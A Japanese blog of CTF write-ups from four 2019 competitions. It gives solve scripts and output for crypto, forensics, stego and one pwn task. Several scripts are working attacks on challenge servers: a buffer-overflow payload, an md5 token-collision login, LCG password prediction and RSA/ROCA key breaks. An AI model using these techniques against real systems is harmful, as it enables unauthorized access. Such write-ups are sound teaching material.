TokyoWesterns CTF 5th 2019 Writeup

この大会は2019/8/31 9:00(JST)~2019/9/2 9:00(JST)に開催されました。
今回もチームで参戦。結果は557点で1005チーム中75位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome!! (Misc, Warmup)

問題文にフラグが書いてあった。

TWCTF{Welcome_to_TWCTF_2019!!!}

real-baby-rsa (Crypto, Warmup)

RSA暗号だが、フラグを1文字ずつ暗号している。1文字ずつ総当たりで復号する。

N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537

with open('output', 'r') as f:
    cs = f.readlines()

dic = {}
for code in range(32, 127):
    enc = pow(code, e, N)
    dic[enc] = chr(code)

flag = ''
for c in cs:
    flag += dic[int(c.rstrip())]

print flag
TWCTF{padding_is_important}

Simple Logic (Crypto)

暗号化は鍵と論理和を取って(128ビットより上位は切り捨て)、鍵とXORすることを768回繰り返す。
鍵の違いは対応するビットから上位数ビットまでしか影響しないので、下位ビットから求める。鍵が求められたら、フラグはそのまま復号関数を使うだけ。

ROUNDS = 765
BITS = 128

def encrypt(msg, key):
    enc = msg
    mask = (1 << BITS) - 1
    for i in range(ROUNDS):
        enc = (enc + key) & mask
        enc = enc ^ key
    return enc

def decrypt(msg, key):
    enc = msg
    mask = (1 << BITS) - 1
    for i in range(ROUNDS):
        enc = enc ^ key
        enc = (enc - key) & mask
    return enc

enc_flag = 0x43713622de24d04b9c05395bb753d437
pt1 = 0x29abc13947b5373b86a1dc1d423807a
ct1 = 0xb36b6b62a7e685bd1158744662c5d04a
pt2 = 0xeeb83b72d3336a80a853bf9c61d6f254
ct2 = 0x614d86b5b6653cdc8f33368c41e99254
pt3 = 0x7a0e5ffc7208f978b81475201fbeb3a0
ct3 = 0x292a7ff7f12b4e21db00e593246be5a0
pt4 = 0xc464714f5cdce458f32608f8b5e2002e
ct4 = 0x64f930da37d494c634fa22a609342ffe
pt5 = 0xf944aaccf6779a65e8ba74795da3c41d
ct5 = 0xaa3825e62d053fb0eb8e7e2621dabfe7
pt6 = 0x552682756304d662fa18e624b09b2ac5
ct6 = 0xf2ffdf4beb933681844c70190ecf60bf

pt = [pt1, pt2, pt3, pt4, pt5, pt6]
ct = [ct1, ct2, ct3, ct4, ct5, ct6]

key = ''
for i in range(1, BITS + 1):
    for k in range(8):
        tmp_key = int(bin(k)[2:] + key, 2)
        found = True
        for j in range(6):
            enc = encrypt(pt[j], tmp_key)
            if bin(enc)[-i-2:] != bin(ct[j])[-i-2:]:
                found = False
        if found:
            key = bin(k)[-1] + key
            break

key = int(key, 2)
print 'key =', key

flag = decrypt(enc_flag, key)
flag = 'TWCTF{%x}' % flag
print flag

実行結果は以下の通り。

key = 62900030173734087782946667685685220617
TWCTF{ade4850ad48b8d21fa7dae86b842466d}
TWCTF{ade4850ad48b8d21fa7dae86b842466d}

PASECA CTF 2019 Writeup

この大会は2019/8/24 6:00(JST)~2019/8/26 6:00(JST)に開催されました。
今回は個人で参戦。結果は7617点で192チーム中10位でした。
解けた問題をWriteupとして書いておきます。

Welcome to the PASECA CTF (Misc)

問題文にフラグが書いてあった。

paseca{sanity_check}

Holy war (Misc)

問題文にはこう書いてあった。

What's better, paseca{vim} or paseca{emacs}?

エディタは何がよいかという感じの問題らしい。
いろいろ調べて、試してを繰り返して、なんとかフラグを通した。

paseca{nano}

Trunkspin (Misc)

http://task.pase.ca:24050/で使われているswfをダウンロードし、JPEXS Free Flash Decompilerでデコンパイルする。
texts-DefineText (9)はこうなっていて、フラグが分断されて含まれている。

[
xmin 288
ymin 38
xmax 2090
ymax 1087
][
font 8
height 220
letterspacing 38
color #ff0000
x 500
y 700
]paseca{ [
letterspacing 43
x 260
y 10420
]like_a_rec [
letterspacing 33
x 500
y 10880
]ord_baby [
letterspacing 60
x 150
y 11280
] } [
letterspacing 44
x 300
y 100
] Your flag [
letterspacing 64
x 750
y 400
] is
paseca{like_a_record_baby}

Secrets storage (Misc)

サーバスクリプトを簡単にまとめると、以下の通り。

usersにadminは登録されていてtokenも作られている。

■login
・loginを指定
・loginがusersにあって、admin以外の場合、
 ・パスワード入力
  ・一致していたらauthed実行

■registration
・loginを指定
・loginがusersにない場合
 ・パスワード入力
  ・token作成
   md5(salt+login+password).encode()).hexdigest()

■authed
・1: Show secret
 ・token: loginのtoken
  ・users_secretsからtokenに対応するデータを取得
・2: New secret
 ・user_secretsにデータを登録

adminのuser_secretsのデータがフラグ

adm/inadminで登録すれば、admin/adminと同じtokenになるので、adminのuser_secretsを見ることができる。

$ nc task.pase.ca 24016
Welcome to the SecretsStore!
[1] - login
[2] - registration
[3] - quit
2
New login: adm
Password: inadmin
Success!
[1] - login
[2] - registration
[3] - quit
1
Login: adm
Password: inadmin
Welcome back adm!
[1] - Show secret
[2] - New secret
1
Your secret: paseca{th15_h0n3y_t4st35_b4d_c4us3_1t_1s_s4lty_l0000l}
paseca{th15_h0n3y_t4st35_b4d_c4us3_1t_1s_s4lty_l0000l}

baby (Reverse)

$ strings welcome-reverse.out | grep paseca
paseca{reversing_binaries_even_without_ida}
paseca{reversing_binaries_even_without_ida}

Genie (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  void *pvVar1;
  uint local_14;
  
  local_14 = 0;
  pvVar1 = calloc(0x19,1);
  *(undefined *)((long)pvVar1 + 0x18) = 3;
  puts(
      "Hi stranger! Im genie. You can make 3 wishes.\nBut real reward can be obtained only after 4wish..."
      );
  fflush((FILE *)0x0);
  do {
    if (*(char *)((long)pvVar1 + 0x18) == 0) {
      return 0;
    }
    printf("Wishes left: %u\n",(ulong)*(byte *)((long)pvVar1 + 0x18));
    fflush((FILE *)0x0);
    printf("Write your wish\n> ");
    fflush((FILE *)0x0);
    __isoc99_scanf(&DAT_00400c4f,pvVar1);
    printf("Ok, your wish is: %s\n");
    fflush((FILE *)0x0);
    local_14 = local_14 + 1;
    if ((*(char *)((long)pvVar1 + 0x18) < 4) && (3 < local_14)) {
      read_flag();
    }
    else {
      if (3 < local_14) {
        puts("Better luck next time...");
        fflush((FILE *)0x0);
        return 0;
      }
    }
    *(char *)((long)pvVar1 + 0x18) = *(char *)((long)pvVar1 + 0x18) + -1;
  } while( true );
}

上記条件を満たすよう4回目の入力ができるようにする。

from pwn import *

HOST = 'task.pase.ca'
PORT = 24051

r = remote(HOST, PORT)
data = r.recvuntil('> ')
print data
payload = 'a' * 24 + '\x03' + 'a' * 24 + '\x03' + 'a' * 24 + '\x03' + 'a' * 24 + '\x03'
print payload
r.sendline(payload)
data = r.read(8192)
print data

実行結果は以下の通り。

[+] Opening connection to task.pase.ca on port 24051: Done
Hi stranger! Im genie. You can make 3 wishes.
But real reward can be obtained only after 4 wish...
Wishes left: 3
Write your wish
> 
aaaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03aaaaaaaaaaaaaaaaaaaaaaa\x03
Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2
Write your wish
> Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2
Write your wish
> Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Wishes left: 2
Write your wish
> Ok, your wish is: aaaaaaaaaaaaaaaaaaaaaaaa\x03Congratulations! Your flag: paseca{sometimes_even_genie_can_make_a_mistake}
Wishes left: 2
Write your wish
> 
[*] Closed connection to task.pase.ca port 24051
paseca{sometimes_even_genie_can_make_a_mistake}

Special task (Forensic)

pcapからUSBのキー入力を読み取る。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('spy.pcap')
usb_data = []
for p in packets:
    buf = p['Raw'].load
    if buf[22] == '\x01':
        usb_data.append(buf[27:])

msg = ''
for d in usb_data:
    if d[2] == '\x00' or not('\x00' in d[3:8]):
        continue
    elif ord(d[2]) not in keymap:
        continue
    if d[0] == '\x02' or d[0] == '\x20':
        c = keymap[ord(d[2])][1]
        msg += c
    else:
        c = keymap[ord(d[2])][0]
        msg += c

print msg

この結果、以下のスクリプトが得られる。

from Crypto.Cipher import AES as aes

key = b'youareontherightway'[:16]

c = aes.new(key, aes.Mode_eax)
ct, tag = c.encrypt_and_digest(open('task.png', 'rb').read())
lol
f_o = open('out.bin', 'wb')

[f_o.write(i) for i in (c.nonce, tag, ct)]

このコードを踏まえて、out.binを復号する。

from Crypto.Cipher import AES as aes

key = b'youareontherightway'[:16]

with open('out.bin', 'rb') as f:
    data = f.read()

nonce = data[:16]
tag = data[16:32]
ct = data[32:]

c = aes.new(key, aes.MODE_EAX, nonce=nonce)
pt = c.decrypt(ct)
#print pt

with open('flag.png', 'wb') as f:
    f.write(pt)

f:id:satou-y:20190910220344p:plain

paseca{g00d_job_ag3nt_bzz}

Maximillian Mara Fon Chenko (Stego)

TrIDNETで調べると、添付ファイルはVTFファイルだった。VTFEditで開いてみる。
ImageタブのMipmapを3にすると、フラグが書いてある画像が表示された。
f:id:satou-y:20190910222416p:plain

paseca{15_t5i5_4_f4d1n6_spr4y?}

El Accordion (Crypto)

$ nc task.pase.ca 24011
Welcome to El Accordion crypto service!
Our public key: p = 50291585460399202482624787298958672852210050130841738342001836485453762518933, g = 25496159609004175511441656655124693353620337660794673359993898716018591475292, y = 7380108767899284351922910421821819856719520197431013301840838007628378867048
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
1
Encrypted flag: (7418209546262193735797361390674097393466179494532153616428369872421234148490, 23230185475082299068519399009645207325592496978518974337156394478086288797041)
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
2
Your message: 12
You encrypted message: (7418209546262193735797361390674097393466179494532153616428369872421234148490, 7521132047350338448723066574890388961114979772738381757953522417183148220154)
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
3
TODO
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
4

暗号処理の概要は以下の通り。

■encrypt
c1 = pow(g, k, p)
c2 = (pow(y, k, p) * m) % p

mが1の場合の場合の何倍かというのがわかれば、そのままフラグになる。

import socket
import re
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('task.pase.ca', 24011))

data = recvuntil(s, 'Exit\n').rstrip()
print data

pattern = 'p = (.+), g'
m = re.search(pattern, data)
p = int(m.group(1))

print '1'
s.sendall('1\n')
data = recvuntil(s, '\n').rstrip()
print data

pattern = '\((.+), (.+)\)'
m = re.search(pattern, data)
enc_flag_2 = int(m.group(2))

print '2'
s.sendall('2\n')
data = recvuntil(s, ': ')
print data + '\x01'
s.sendall('\x01\n')
data = recvuntil(s, '\n').rstrip()
print data

pattern = '\((.+), (.+)\)'
m = re.search(pattern, data)
enc_1 = int(m.group(2))

m = (enc_flag_2 * inverse(enc_1, p)) % p
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

Welcome to El Accordion crypto service!
Our public key: p = 29646301021178032497313697447269293672426215616985694597888969717618559170777, g = 10949452677885092778025559284929973149858173125585690589357929941884125902024, y = 12119399357273094662859480690578233167837293104703846698671330898356111271157
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
1
Encrypted flag: (1488527341619207664764595908095099640756766409400869556237980674754390143133, 11629283255737230454112936542302568387143949974595090726221331231297050918808)
2
[1] - Get encrypted flag
[2] - Encrypt your message
[3] - Decrypt your message
[4] - Exit
Your message: 
You encrypted message: (1488527341619207664764595908095099640756766409400869556237980674754390143133, 18161634285939021734359693076276909247752193505245109407831784439155567858286)
paseca{f4m1l14r_s0ng}
paseca{f4m1l14r_s0ng}

Another RSA task (Crypto)

$ nc task.pase.ca 24075
bzzz
public key:  (17, 123267811051417936068872147489105246393811275603888391074436279271642422709860185635480405025301116669330623366432058404377151307084200741939042036876317660581644815976865009781006668396359795598862998244737054672104429771614914437034890885419241760329181147130778372915132290966245723603309337789917061396131)
encrypted flag:  101339108116238900448327554861535921419807067467123833935875499876460852210376069681284228185703707094987012527673483689351563567212081690923588750616467541504849474611658980312651777729079921864489480412181533550093630745816553997669438824851153222101090477374764389828749183221869616809608084118776194912797
[E]ncrypt
[D]ecrypt
> E
m: 0
c: 29611702792319188103408824485004172272145167094764129243330269537459202398861243718725499174702360105164145364617532070590106752518290114277079134491380089863310193154678790516307655655219744050139620697004039066284272630321220836977990999154443935241388531033625213284863651769106423821325269601422804798070
[E]ncrypt
[D]ecrypt
> D
TODO

暗号化処理の概要は以下の通り。

public key: (e, n): e = 17
enc_flag: pow(flag, e, n)

■Encrypt
・m: 数値入力
・2進数でpとmの文字列を結合した数値にする
・この数値で暗号化

上記のことを踏まえて、Franklin-Reiter Related Message Attackで復号する。

# sage
import socket
import re
from Crypto.Util.number import *

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('task.pase.ca', 24075))

data = recvuntil(s, '> ')
print data + 'E'
s.sendall('E\n')

public = eval(data.split('\n')[1].split(':  ')[1])
e = public[0]
n = public[1]
enc_flag = int(data.split('\n')[2].split(':  ')[1])

data = recvuntil(s, ': ')
print data + '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data
c0 = int(data.split(': ')[1])

data = recvuntil(s, '> ')
print data + 'E'
s.sendall('E\n')

data = recvuntil(s, ': ')
print data + '3'
s.sendall('3\n')
data = recvuntil(s, '\n').rstrip()
print data
c1 = int(data.split(': ')[1])

p = int((related_message_attack(c0, c1, 1, e, n) - 2) >> 2)
q = n / p
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(enc_flag, d, n)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

bzzz
public key:  (17, 55640111080369488312548550884429343029430589585532109627388839762313431952747882197349897334466202475747733341828473542831254949248461509843433639228636387909845307277471584117498537416291894192574871698640180837138507076919691335039188932007132151261668149968360592889273719593250800428469887604952883272839)
encrypted flag:  36912231163535159687818072031792909855998366258890135345351090687753649630809000099047339131465336119370285057120716128943760172302871807861203856849258857806628158441588467921200161591184868444267410940824784635226004693952050465712929462503861660977865859784160123829490379644341795847792849817838103913272
[E]ncrypt
[D]ecrypt
> E
m: 2
c: 41003426974060264532636780529903350846352879699804073358852374070242388008152436377430030667805640844722886275018349100669214090901329385973519017203768889534970929074535191257314083418124544606540727355009459470801123228741289539248577590651394933122979146244702039650691974114649141715835439087353672608607
[E]ncrypt
[D]ecrypt
> E
m: 3
c: 32193080350353325030879018367207524361450454545459424526283449219682030170108949952334017743244748749886482520085695188412383398666362821193816056697292330616130927433754823743607874504679834108334172079231963658878452042047831804145396972219672708502647213430151722738400334239162965498463718139685249327971
paseca{pr1v4t3_key_4s_padd1ng_gr34t_1dea}
paseca{pr1v4t3_key_4s_padd1ng_gr34t_1dea}

Secure Auth (Crypto)

$ curl http://task.pase.ca:24003
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>PASECA Secure Control System</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
  </head>
  <body>
    <section class="hero is-medium is-primary is-bold">
      <div class="hero-body">
        <div class="container">
          <h1 class="title is-1">
            PASECA Secure Control System
          </h1>
        </div>
      </div>
    </section>

    <div class="container" style="margin-top: 5em">
        
        <div class="columns">
            <div class="column is-4 is-offset-4">
                <div class="box">
                    <nav id="prev-passwords" class="panel">
                        <p class="panel-heading">
                            Last 5 Passwords
                        </p>
                        <!-- LCG passwords -->
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                        <a class="panel-block">LOADING</a>
                    </nav>

                    <form action="/login" method="post">
                        <div class="field">
                          <label class="label">Password</label>
                          <div class="control">
                            <input class="input" type="number" required="required" name="totp">
                          </div>
                            
                        </div>
                        <div class="control">
                          <button class="button is-primary">Login</button>
                        </div>
                    </form>

                </div>
            </div>
        </div>
        
    </div>
    
    <script>
        function update_previous_totp()
        {
            let last_totps = new Request("/last-totps");

            fetch(last_totps)
                .then(function(response) { return response.json(); })
                .then(function(data) {
                let totp = document.querySelector("#prev-passwords").querySelectorAll("a");
                totp.forEach((v, k, p) => v.textContent = data[k]);
            });
        }
        update_previous_totp();
        setInterval(update_previous_totp, 10000);
        
    </script>
    
  </body>
</html>
$ curl http://task.pase.ca:24003/last-totps
[2546524,7363293,7236404,7737564,2583924]

どうやらLCGで計算されているので、次の数字を当てたら、フラグが表示されるということらしい。modulus(=m)を総当たりでa, b, mを求め、次の値を割り出す。

import requests
from Crypto.Util.number import *

def get_a(m, seq):
    k = (seq[1] - seq[0]) % m
    inv = int(inverse(k, m))

    return (inv * (seq[2] - seq[1])) % m

base_url = 'http://task.pase.ca:24003/'

s = requests.Session()
r = s.get(base_url)
body = r.text
#print body

r = s.get(base_url + 'last-totps')
body = r.text
#print body

seq = eval(body)
print seq
max_seq = max(seq)

for m in range(max_seq, max_seq + 1000000):
    a = get_a(m, seq)
    b = (seq[1] - a * seq[0]) % m
    if (a * seq[1] + b) % m == seq[2] \
        and (a * seq[2] + b) % m == seq[3]:
        break

ans = (a * seq[-1] + b) % m
print ans

payload = {'totp': str(ans)}
r = s.post(base_url + 'login', payload)
body = r.text
print body

実行結果は以下の通り。

[4234859, 6286793, 7477800, 3478602, 3700291]
1462869
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>PASECA Secure Control System</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css">
  </head>
  <body>
    <section class="hero is-medium is-primary is-bold">
      <div class="hero-body">
        <div class="container">
          <h1 class="title is-1">
            PASECA Secure Control System
          </h1>
        </div>
      </div>
    </section>

    <div class="container" style="margin-top: 5em">

<div class="columns is-centered">
    <div class="column">
        <div class="box">
            <h1 class="title">Your flag: paseca{l1n34r_c0n6ru3n7_63n3r470r_15_4_v3ry_un54f3_b33}</h1>
        </div>
    </div>
</div>

    </div>


  </body>
</html>
paseca{l1n34r_c0n6ru3n7_63n3r470r_15_4_v3ry_un54f3_b33}

Boca, Joca and (Crypto)

添付のスクリプトにあるp, qの生成の方法から、ROCAの問題であるとわかる。ROCA脆弱性を持つnの値を素因数分解するためにnecaというツールを利用する。

$ ./neca 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

N = 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677
Factoring...

 [===                     ] 12.47% elapsed: 703s left: 4933.36s total: 5636.49s

Factorization found:
N = 117287632120536376525897315212651828187586245270343201771519228951615532042991 * 21600900610472913215984241924466406437412831845460782430545141332835698275147

素因数分解できたので、あとはそのまま復号する。

from Crypto.Util.number import *

n = 2533518484273416680526744527076070415105694309505300600842191515956287023049872818275864738915507865375824167505682003696379926562543280251434287750844677
e = 65537
c = 129004287495003585102707258242341500697789427644709664498422921557824879930305360888810887386464959697534364343822749974218601464578445454172199855198387

p = 117287632120536376525897315212651828187586245270343201771519228951615532042991
q = 21600900610472913215984241924466406437412831845460782430545141332835698275147

assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
paseca{w3ll_kn0wn_B0c4_p0pul4r_J0ca_and_leg3ndary_ROCA}

Chaos Communication Camp 2019 Writeup

この大会は2019/8/23 19:00(JST)~2019/8/25 19:00(JST)に開催されました。
今回は個人で参戦。結果は81点で359チーム中211位でした。
解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

freenodeの#camp-ctfチャネルトップにフラグが書いてあった。

ALLES{WIRKLICH_ALLES?JA,WIRKLICH_ALLES!}

FlagConverter Part 1 (Forensics)

$ strings flagconverter.dmp | grep ALLES{
ALLES{f0r3n51k_15_50m3t1m35_t00_345y}
ALLES{f0r3n51k_15_50m3t1m35_t00_345y}

Codefest CTF 2019 Writeup

この大会は2019/8/24 23:30(JST)~2019/8/25 15:30(JST)に開催されました。
今回は個人で参戦。結果は1000点で319チーム中38位でした。
解けた問題をWriteupとして書いておきます。

Image Corruption (Max Score: 100)

開けないbmpが添付されている。バイナリエディタで見てみる。
f:id:satou-y:20190831075142p:plain
matrixという文字がたくさん入っているので、matrixとXORしてみる。

with open('image.bmp', 'rb') as f:
    enc = f.read()

key = 'matrix'

flag = ''
for i in range(len(enc)):
    code = ord(enc[i]) ^ ord(key[i%len(key)])
    flag += chr(code)

with open('flag.bmp', 'wb') as f:
    f.write(flag)

フラグが書かれたbmpファイルになった。
f:id:satou-y:20190831075423j:plain

CodefestCTF{f1l35_h4v3_m461c_by735}

Mail capture (Max Score: 100)

添付ファイルにはこう書いてある。

begin 664 flag_encoded
E0V]D969E<W1#5$9[-V@Q-5\Q-5\T7V,P,#%?,VYC,&0Q;CE]"@``
`
end

uuencodeとすぐにわかったので、uudecodeする。

with open('encoded_file', 'r') as f:
    enc = f.read()

flag = enc.decode('uu')
print flag
CodefestCTF{7h15_15_4_c001_3nc0d1n9}

Weird encoding (Max Score: 200)

添付ファイルにはこう書いてある。

0x85+1x1+0x14
0x7+1x1+0x7+1x1+0x9+1x2+0x3+1x4+0x3+1x1+0x6+1x5+0x1+1x1+0x2+1x1+0x1+1x2+0x13+1x2+0x3+1x1+0x8+1x1+0x5+1x2+0x8
0x1+1x5+0x18+1x3+0x3+1x1+0x16+1x2+0x1+1x1+0x5+1x2+0x2+1x1+0x3+1x1+0x4+1x2+0x3+1x3+0x3+1x1+0x2+1x2+0x4+1x3+0x8
0x3+1x1+0x7+1x1+0x11+1x2+0x1+1x1+0x3+1x5+0x12+1x1+0x2+1x1+0x7+1x1+0x10+1x1+0x3+1x2+0x1+1x1+0x5+1x3+0x4+1x1+0x1+1x2+0x2+1x1+0x4
0x3+1x1+0x3+1x1+0x7+1x2+0x3+1x1+0x2+1x1+0x2+1x1+0x7+1x1+0x11+1x2+0x2+1x2+0x5+1x2+0x10+1x1+0x3+1x1+0x2+1x1+0x3+1x2+0x2+1x1+0x4+1x4+0x7
0x3+1x1+0x3+1x1+0x3+1x1+0x1+1x3+0x10+1x1+0x7+1x1+0x7+1x1+0x3+1x1+0x3+1x1+0x1+1x2+0x2+1x3+0x8+1x5+0x4+1x1+0x3+1x9+0x1+1x3+0x7
0x3+1x1+0x3+1x3+0x1+1x1+0x1+1x4+0x9+1x1+0x6+1x2+0x2+1x1+0x7+1x2+0x3+1x1+0x2+1x1+0x4+1x1+0x10+1x1+0x6+1x1+0x7+1x1+0x7+1x4+0x4
0x5+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x4+1x2+0x7+1x2+0x3+1x4+0x11+1x1+0x4+1x1+0x2+1x1+0x3+1x2+0x6+1x1+0x3+1x1+0x6+1x1+0x7+1x1+0x1+1x1+0x1+1x5+0x7
0x7+1x1+0x1+1x1+0x1+1x1+0x2+1x3+0x7+1x5+0x16+1x1+0x4+1x1+0x2+1x1+0x1+1x3+0x3+1x6+0x2+1x1+0x2+1x1+0x1+1x5+0x5+1x1+0x2+1x1+0x4+1x1+0x7
0x18+1x5+0x13+1x6+0x27+1x1+0x14+1x1+0x2+1x2+0x2+1x1+0x5+1x1+0x2
0x1+1x1+0x5+1x1+0x4+1x1+0x3+1x1+0x8+1x1+0x8+1x1+0x9+1x1+0x8+1x1+0x5+1x1+0x17+1x1+0x10+1x3+0x9
0x68+1x1+0x11+1x1+0x19

0, 1で何か表示していると推測する。各行0が何個、1が何個ということを示していると、つじつまが合いそう。各行0, 1の合計は100になる。絵に起こしてみる。

def parse(s):
    ret = ''
    elms = s.split('+')
    for e in elms:
        c = e.split('x')[0]
        num = int(e.split('x')[1])
        ret += c * num
    return ret

with open('encoded_img', 'r') as f:
    lines = f.readlines()

for line in lines:
    s = line.rstrip()
    zo = parse(s)
    print zo

実行結果は以下の通り。

0000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000
0000000100000001000000000110001111000100000011111010010110000000000000110001000000001000001100000000
0111110000000000000000001110001000000000000000011010000011001000100001100011100010011000011100000000
0001000000010000000000011010001111100000000000010010000000100000000001000110100000111000010110010000
0001000100000001100010010010000000100000000000110011000001100000000001000100100011001000011110000000
0001000100010111000000000010000000100000001000100010110011100000000111110000100011111111101110000000
0001000111010111100000000010000001100100000001100010010000100000000001000000100000001000000011110000
0000010101010000110000000110001111000000000001000010010001100000010001000000100000001010111110000000
0000000101010011100000001111100000000000000001000010010111000111111001001011111000001001000010000000
0000000000000000001111100000000000001111110000000000000000000000000001000000000000001001100100000100
0100000100001000100000000100000000100000000010000000010000010000000000000000010000000000111000000000
0000000000000000000000000000000000000000000000000000000000000000000010000000000010000000000000000000

わかりづらいので、文字を置換してみる。

□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□■□□□□□□□□□□□□□□
□□□□□□□■□□□□□□□■□□□□□□□□□■■□□□■■■■□□□■□□□□□□■■■■■□■□□■□■■□□□□□□□□□□□□□■■□□□■□□□□□□□□■□□□□□■■□□□□□□□□
□■■■■■□□□□□□□□□□□□□□□□□□■■■□□□■□□□□□□□□□□□□□□□□■■□■□□□□□■■□□■□□□■□□□□■■□□□■■■□□□■□□■■□□□□■■■□□□□□□□□
□□□■□□□□□□□■□□□□□□□□□□□■■□■□□□■■■■■□□□□□□□□□□□□■□□■□□□□□□□■□□□□□□□□□□■□□□■■□■□□□□□■■■□□□□■□■■□□■□□□□
□□□■□□□■□□□□□□□■■□□□■□□■□□■□□□□□□□■□□□□□□□□□□□■■□□■■□□□□□■■□□□□□□□□□□■□□□■□□■□□□■■□□■□□□□■■■■□□□□□□□
□□□■□□□■□□□■□■■■□□□□□□□□□□■□□□□□□□■□□□□□□□■□□□■□□□■□■■□□■■■□□□□□□□□■■■■■□□□□■□□□■■■■■■■■■□■■■□□□□□□□
□□□■□□□■■■□■□■■■■□□□□□□□□□■□□□□□□■■□□■□□□□□□□■■□□□■□□■□□□□■□□□□□□□□□□■□□□□□□■□□□□□□□■□□□□□□□■■■■□□□□
□□□□□■□■□■□■□□□□■■□□□□□□□■■□□□■■■■□□□□□□□□□□□■□□□□■□□■□□□■■□□□□□□■□□□■□□□□□□■□□□□□□□■□■□■■■■■□□□□□□□
□□□□□□□■□■□■□□■■■□□□□□□□■■■■■□□□□□□□□□□□□□□□□■□□□□■□□■□■■■□□□■■■■■■□□■□□■□■■■■■□□□□□■□□■□□□□■□□□□□□□
□□□□□□□□□□□□□□□□□□■■■■■□□□□□□□□□□□□□■■■■■■□□□□□□□□□□□□□□□□□□□□□□□□□□□■□□□□□□□□□□□□□□■□□■■□□■□□□□□■□□
□■□□□□□■□□□□■□□□■□□□□□□□□■□□□□□□□□■□□□□□□□□□■□□□□□□□□■□□□□□■□□□□□□□□□□□□□□□□□■□□□□□□□□□□■■■□□□□□□□□□
